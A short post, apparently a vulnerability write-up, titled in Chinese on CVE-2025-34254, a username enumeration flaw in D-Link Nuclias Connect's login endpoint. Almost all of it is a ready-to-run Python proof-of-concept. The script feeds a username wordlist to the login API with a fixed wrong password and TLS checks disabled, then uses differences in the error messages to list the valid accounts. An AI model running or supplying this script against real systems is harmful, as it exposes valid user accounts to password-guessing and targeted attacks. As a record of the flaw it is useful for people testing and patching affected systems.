CVE-2025-34254：D-Link Nuclias Connect登录接口账户枚举漏洞

#!/usr/bin/env python3 # CVE-2025-34254 - D-Link Nuclias Connect Account Enumeration PoC # This script demonstrates username enumeration via login endpoint response discrepancy import requests import sys import argparse TARGET_URL = "https://target-host/dashboard/api/login" # Adjust the login endpoint path def enumerate_usernames(target_url, username_file): """ Enumerate valid usernames by analyzing response differences in the login endpoint's error.message field. """ valid_users = [] with open(username_file, 'r') as f: usernames = [line.strip() for line in f if line.strip()] for username in usernames: # Construct login request payload payload = { "username": username, "password": "InvalidPassword123!@#" } try: response = requests.post( target_url, json=payload, verify=False, timeout=10 ) # Parse JSON response data = response.json() error_msg = data.get("error", {}).get("message", "") # Differentiate between existing and non-existing users # Existing user typically returns "Invalid password" or similar # Non-existing user returns "User not found" or similar if "password" in error_msg.lower() or "credential" in error_msg.lower(): print(f"[+] VALID USER FOUND: {username} -> {error_msg}") valid_users.append(username) elif "not found" in error_msg.lower() or "does not exist" in error_msg.lower(): print(f"[-] Invalid user: {username}") else: print(f"[?] Unknown response for {username}: {error_msg}") except requests.exceptions.RequestException as e: print(f"[!] Error requesting {username}: {e}") except ValueError: print(f"[!] Invalid JSON response for {username}") return valid_users if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-34254 PoC - D-Link Nuclias Connect Username Enumeration") parser.add_argument("-u", "--url", required=True, help="Target login URL") parser.add_argument("-f", "--file", required=True, help="Username wordlist file") args = parser.parse_args() print(f"[*] Starting enumeration against {args.url}") valid = enumerate_usernames(args.url, args.file) print(f"\n[*] Enumeration complete. Found {len(valid)} valid users: {valid}")